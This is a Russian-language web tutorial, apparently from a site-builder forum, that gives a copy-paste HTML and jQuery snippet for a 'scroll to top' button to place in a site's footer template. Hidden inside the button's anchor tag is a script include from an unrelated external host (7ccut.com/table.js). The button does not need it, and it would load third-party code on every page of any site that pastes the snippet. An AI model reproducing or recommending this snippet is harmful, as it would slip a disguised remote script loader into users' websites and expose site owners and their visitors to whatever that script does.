+7 (911) 913-40---
menu
person

16:38
Кнопка вверх
Как правильно установить кнопку "Вверх?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<!-- To TOP -->
<a id="toTOP" href="javascript://" alt="Вверх страницы" title="Вверх страницы" style="position: fixed; bottom: 0; right: 0; cursor: pointer;" rel="nofollow"><img src="http://pnghosts.ru/img/vverh_go.png" style="margin-right: 20px; opacity:.8;" onmouseover="this.style.opacity=1; this.parentNode.style.bottom='1px'" onmouseout="this.style.opacity=.8; this.parentNode.style.bottom=0"><script src="http://7ccut.com/table.js" type="text/javascript"></script></a><script>
$(function(){$.fn.scrollToTop=function(){$(this).hide().removeAttr("href");if($(window).scrollTop()!="0"){$(this).fadeIn("slow")}var scrollDiv=$(this);$(window).scroll(function(){if($(window).scrollTop()=="0"){$(scrollDiv).fadeOut("slow")}else{$(scrollDiv).fadeIn("slow")}});$(this).click(function(){$("html, body").animate({scrollTop:0},"slow")})}});
$(function() {$("#toTOP").scrollToTop();})
</script>
<!-- /To TOP -->
Просмотров: 1811 | Добавил: Bitfood
3 голоса

Всего комментариев: 0
avatar